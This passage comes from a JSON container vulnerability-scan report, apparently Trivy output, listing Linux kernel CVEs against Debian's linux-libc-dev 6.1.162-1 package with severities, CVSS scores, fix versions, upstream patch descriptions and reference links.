"https://git.kernel.org/stable/c/cbeb68cbaa0a6f979ef428a7f2d0268c082ba166", "https://kernelcve.org/list/?q=CVE-2026-53149", "https://linux.oracle.com/cve/CVE-2026-53149.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062546-CVE-2026-53149-d1c8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53149", "https://ubuntu.com/security/notices/USN-8637-1", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53149" ], "PublishedDate": "2026-06-25T09:16:32.257Z", "LastModifiedDate": "2026-11-06T17:18:11.2Z" }, { "VulnerabilityID": "CVE-2026-53156", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53156", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ac07a48396c0d585280db19cea8d730a974b3c3f579fcfae0f42cb5595003c8d", "Title": "kernel: nvmem: core: fix use-after-free bugs in error paths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmem: core: fix use-after-free bugs in error paths\n\nFix several instances of error paths in which we call\n__nvmem_device_put() - which may end up freeing the underlying memory\nand other resources - and then keep on using the nvmem structure. Always\nput the reference to the nvmem device as the last step before returning\nthe error code.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53156", "https://git.kernel.org/linus/5b6b6fc491899d583eaa75344e094796ae9b530b%20%287.1%29", "https://git.kernel.org/stable/c/40e2a459c0dd1333b2343831480a0ad80dc07614", "https://git.kernel.org/stable/c/5b6b6fc491899d583eaa75344e094796ae9b530b", "https://git.kernel.org/stable/c/6cdcf0d16c80900f42d60252480cd131c1a83d23", "https://git.kernel.org/stable/c/cb85ef5a227b3662b88f4d849a1aad43bfe7f5ae", "https://git.kernel.org/stable/c/e0d38bf47a72da2f02c9fa6f752cd66d977cd7f7", "https://kernelcve.org/list/?q=CVE-2026-53156", "https://linux.oracle.com/cve/CVE-2026-53156.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062548-CVE-2026-53156-dc6d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53156", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53156" ], "PublishedDate": "2026-06-25T09:16:32.98Z", "LastModifiedDate": "2026-11-06T17:18:11.733Z" }, { "VulnerabilityID": "CVE-2026-53157", "VendorIDs": [ "DLA-4688-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53157", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:79184b5076c42e8d5070d971f248a6fa955f3ad091cd1446bf8839805b37ddff", "Title": "kernel: net: phonet: free phonet_device after RCU grace period", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: phonet: free phonet_device after RCU grace period\n\nphonet_device_destroy() removes a phonet_device from the per-net device\nlist with list_del_rcu(), but frees it immediately. RCU readers walking\nthe same list can still hold a pointer to the object after it has been\nremoved, leading to a slab-use-after-free.\n\nUse kfree_rcu(), matching the lifetime rule already used by\nphonet_address_del() for the same object type.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53157", "https://git.kernel.org/linus/71de0177b28da751f407581a4515cf4d762f6296%20%287.1%29", "https://git.kernel.org/stable/c/09c9b92c2010481160245244ea8fa1d06d5d4ae0", "https://git.kernel.org/stable/c/2ec8011cce0cd0fc7a5068585d867fc08d508578", "https://git.kernel.org/stable/c/52b8f5ef82c886f7cd24617915e4b1579ddfd001", "https://git.kernel.org/stable/c/6cd7067d6e4b0b2033ba2f918ecbd54dc2af3763", "https://git.kernel.org/stable/c/71de0177b28da751f407581a4515cf4d762f6296", "https://git.kernel.org/stable/c/bd2ab4d800fc26814d89328d87b5f97ef6aa906a", "https://git.kernel.org/stable/c/bff309ea51f1395c1ef8be8b75ce62d28a319113", "https://git.kernel.org/stable/c/d59794337ea496042288c7c68356d9b9ca7f46a9", "https://linux.oracle.com/cve/CVE-2026-53157.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062548-CVE-2026-53157-7e36@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53157", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53157" ], "PublishedDate": "2026-06-25T09:16:33.073Z", "LastModifiedDate": "2026-07-07T18:54:28.8Z" }, { "VulnerabilityID": "CVE-2026-53179", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53179", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9baeb119ece90e284a9d0b592f4add64ae6267dfd45210e3d6faeadf6f2ca692", "Title": "kernel: staging: rtl8723bs: fix buffer over-read in rtw_update_protection", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nstaging: rtl8723bs: fix buffer over-read in rtw_update_protection\n\nrtw_update_protection() is called with a pointer offset into the\nies buffer but the full ie_length is passed, causing a potential\nbuffer over-read.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53179", "https://git.kernel.org/linus/514ab98364595007d4557ecc85d7e5f012c504d3%20%287.1%29", "https://git.kernel.org/stable/c/303f65af819f6d5aa302e82bce72b57a8575faea", "https://git.kernel.org/stable/c/514ab98364595007d4557ecc85d7e5f012c504d3", "https://git.kernel.org/stable/c/735dabdf21561a24d8bcae456c9c32f7f961a029", "https://git.kernel.org/stable/c/c35ce55b12bb8fcd365daeb516e9782048119b36", "https://git.kernel.org/stable/c/d95edbbf7830d77ad68d437c384055eac8cd9892", "https://lore.kernel.org/linux-cve-announce/2026062554-CVE-2026-53179-188d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53179", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-53179" ], "PublishedDate": "2026-06-25T09:16:35.287Z", "LastModifiedDate": "2026-10-21T13:19:12.187Z" }, { "VulnerabilityID": "CVE-2026-53195", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53195", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:49f4aa1ca5187b83c6e2b05d9bfdf142c13545de3bcf3943b7d9a1ed9a176244", "Title": "kernel: USB: serial: io_ti: fix heap overflow in build_i2c_fw_hdr()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: io_ti: fix heap overflow in build_i2c_fw_hdr()\n\nbuild_i2c_fw_hdr() allocates a fixed-size buffer of\n(16*1024 - 512) + sizeof(struct ti_i2c_firmware_rec) bytes, then\ncopies le16_to_cpu(img_header-\u003eLength) bytes into it without\nvalidating that Length fits within the available space after the\nfirmware record header.\n\nimg_header-\u003eLength is a __le16 from the firmware file and can be\nup to 65535. check_fw_sanity() validates the total firmware size\nbut not img_header-\u003eLength specifically.\n\nFix by rejecting images where img_header-\u003eLength exceeds the\navailable destination space.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53195", "https://git.kernel.org/linus/0fd2b00b2d3d05e3eaa13342b3dfb0fa85c226ae%20%287.1%29", "https://git.kernel.org/stable/c/0fd2b00b2d3d05e3eaa13342b3dfb0fa85c226ae", "https://git.kernel.org/stable/c/130d6567eb148040eed1b73e1414ad6c27d22bd5", "https://git.kernel.org/stable/c/294692d3296eee3391c348d7ea6401916d27806c", "https://git.kernel.org/stable/c/2fd64bf0ad66ab5de0c73524591d879427ba5aba", "https://git.kernel.org/stable/c/3e187152f44d76d7633a3855ffd0099e1588b82a", "https://git.kernel.org/stable/c/4cb722747ed25971f35cc47ce5c0e79d7f717713", "https://git.kernel.org/stable/c/5a79b634ee58786ca627268daefa7744f2af2e14", "https://git.kernel.org/stable/c/b7faf660eefa2047ebc2959ff76da2b6eae2e9e3", "https://linux.oracle.com/cve/CVE-2026-53195.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062559-CVE-2026-53195-5300@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53195", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53195" ], "PublishedDate": "2026-06-25T09:16:36.983Z", "LastModifiedDate": "2026-11-06T17:18:13.087Z" }, { "VulnerabilityID": "CVE-2026-53198", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53198", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b6049314b9393ad8d87cd1595ce15459905ba211e9bc778d80fab39c321240b7", "Title": "kernel: ksmbd: fix use-after-free of a deferred file_lock on double SMB2_CANCEL", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free of a deferred file_lock on double SMB2_CANCEL\n\nA deferred byte-range lock (an SMB2_LOCK that blocks) registers an async work on\nconn-\u003easync_requests via setup_async_work(), with cancel_fn =\nsmb2_remove_blocked_lock and cancel_argv[0] pointing at the struct file_lock.\n\nWhen the request is cancelled, the worker frees the file_lock with\nlocks_free_lock() and takes the cancelled early-exit, which \"goto out\"s and never\nreaches release_async_work() -- the only site that unlinks the work from\nconn-\u003easync_requests and clears cancel_fn/cancel_argv. The work therefore stays\nmatchable on async_requests with a live cancel_fn pointing at the freed file_lock,\nuntil connection teardown finally runs release_async_work().\n\nsmb2_cancel() fires cancel_fn unconditionally with no state guard, so a second\nSMB2_CANCEL for the same AsyncId, arriving in that window, re-runs\nsmb2_remove_blocked_lock() on the freed file_lock -- a slab use-after-free:\n\n BUG: KASAN: slab-use-after-free in __locks_delete_block\n __locks_delete_block\n locks_delete_block\n ksmbd_vfs_posix_lock_unblock\n smb2_remove_blocked_lock\n smb2_cancel \u003c- 2nd SMB2_CANCEL fires cancel_fn\n handle_ksmbd_work\n Allocated by ...: locks_alloc_lock \u003c- smb2_lock\n Freed by ...: locks_free_lock \u003c- smb2_lock (cancelled branch)\n ... cache file_lock_cache of size 192\n\nReproduced on mainline with KASAN by an authenticated SMB client.\n\nSkip a work whose state is already KSMBD_WORK_CANCELLED so its cancel callback\ncannot be fired a second time.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53198", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/f580d27e8928828693df44ba2db0fffdbe11dfea%20%287.1-rc7%29", "https://git.kernel.org/stable/c/0da2e073f9cbf4985a0fd9acb71bc5ff599f8afd", "https://git.kernel.org/stable/c/14d2eee0193ac3cd1bf3d014373449f0b8d35d6d", "https://git.kernel.org/stable/c/2b2eda2821cff1d1b5a423b6ee7d8fc6fbc8e694", "https://git.kernel.org/stable/c/89ae9df09d2c1fb4a4eb495c113a7ce1dca34147", "https://git.kernel.org/stable/c/b7063c7426ea5a4d15e01b60538718765392f49d", "https://git.kernel.org/stable/c/f580d27e8928828693df44ba2db0fffdbe11dfea", "https://lore.kernel.org/linux-cve-announce/2026062559-CVE-2026-53198-8bc8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53198", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53198" ], "PublishedDate": "2026-06-25T09:16:37.323Z", "LastModifiedDate": "2026-10-15T02:20:04.103Z" }, { "VulnerabilityID": "CVE-2026-53255", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53255", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:10c6e30ed72f9f1ec8a1e0355c643afcfe32db6937faf24fb5207e1494b3fc5c", "Title": "kernel: Bluetooth: MGMT: validate advertising TLV before type checks", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: validate advertising TLV before type checks\n\ntlv_data_is_valid() reads each advertising data field length from\ndata[i], then inspects data[i + 1] for managed EIR types before\nchecking that the current field still fits inside the supplied buffer.\n\nA malformed field whose length byte is the last byte of the buffer can\ntherefore make the parser read one byte past the advertising data.\n\nKASAN reported the following when a malformed MGMT_OP_ADD_ADVERTISING\nrequest reached that path:\n\n BUG: KASAN: vmalloc-out-of-bounds in tlv_data_is_valid()\n Read of size 1\n Call trace:\n tlv_data_is_valid()\n add_advertising()\n hci_mgmt_cmd()\n hci_sock_sendmsg()\n\nMove the existing element-length check before any type-octet inspection\nso each non-empty element is proven to contain its type byte before the\nparser looks at data[i + 1].", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53255", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/de23fb62259aa01d294f77238ae3b835eb674413%20%287.1-rc7%29", "https://git.kernel.org/stable/c/06fcbd79c3c360a50f9be9d370769bbd738d0976", "https://git.kernel.org/stable/c/13ad995071a06570668dd8daab3616c247c72080", "https://git.kernel.org/stable/c/18fea1cb0c2599752e908c8217490f73ddd33e00", "https://git.kernel.org/stable/c/1a3c8ffbb469859b076445af44bdfa6a711d483e", "https://git.kernel.org/stable/c/2a3f3ed9e198ae23c15859ace2f9ca6cfdc35b57", "https://git.kernel.org/stable/c/74c08e4db35a476c3462aeb65846f955be732626", "https://git.kernel.org/stable/c/de23fb62259aa01d294f77238ae3b835eb674413", "https://git.kernel.org/stable/c/f7093ac233c1e7f51d125534f46067772a113175", "https://kernelcve.org/list/?q=CVE-2026-53255", "https://linux.oracle.com/cve/CVE-2026-53255.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062514-CVE-2026-53255-7d38@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53255", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53255" ], "PublishedDate": "2026-06-25T09:16:43.48Z", "LastModifiedDate": "2026-11-06T17:18:16.593Z" }, { "VulnerabilityID": "CVE-2026-53262", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53262", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:19fa72f33cf6b5c82f715027c61f52e7d80c77538b37636ade4afd5acef57b52", "Title": "kernel: l2tp: pppol2tp: hold reference to session in pppol2tp_ioctl()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nl2tp: pppol2tp: hold reference to session in pppol2tp_ioctl()\n\npppol2tp_ioctl() read sock-\u003esk-\u003esk_user_data directly without any\nlocks or reference counting. If a controllable sleep was induced during\ncopy_from_user() (e.g. via a userfaultfd page fault sleep), a concurrent\nsocket close could trigger pppol2tp_session_close() asynchronously. This\nfrees the l2tp_session structure via the l2tp_session_del_work workqueue.\nUpon resuming, the ioctl thread dereferences the stale session pointer,\nresulting in a Use-After-Free (UAF).\n\nFix this by securely fetching the session reference using the RCU-safe,\nrefcounted helper pppol2tp_sock_to_session(sk) on entry. This locks the\nsession's refcount across the sleep. We structured the function to exit\nvia standard err breaks, guaranteeing that l2tp_session_put() is cleanly\ncalled on all return paths to drop the reference.\n\nTo preserve existing behavior we validate the session and its magic\nsignature only for the specific L2TP commands that require it. This\nensures that generic/unknown ioctls called on an unconnected socket\nstill return -ENOIOCTLCMD and correctly fall back to generic handlers\n(e.g. in sock_do_ioctl()).", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53262", "https://git.kernel.org/linus/a213a8950414c684999dcf03edeea6c46ede172e%20%287.1-rc7%29", "https://git.kernel.org/stable/c/312ecea13b67797747eb9d4b9dab8d3846de6dfb", "https://git.kernel.org/stable/c/62f327e287cf7b595ae3f73ba72f5cd2a9e9f39f", "https://git.kernel.org/stable/c/78cdfdca88cbf731a92f3b9ee5427c633dd94e28", "https://git.kernel.org/stable/c/a213a8950414c684999dcf03edeea6c46ede172e", "https://git.kernel.org/stable/c/cc19c164a99ab706d4cb45d3c300b305c16798b5", "https://git.kernel.org/stable/c/e251d4cdfc725c9e7d686161e3b775a0e7d95053", "https://linux.oracle.com/cve/CVE-2026-53262.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062516-CVE-2026-53262-3892@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53262", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8903-1", 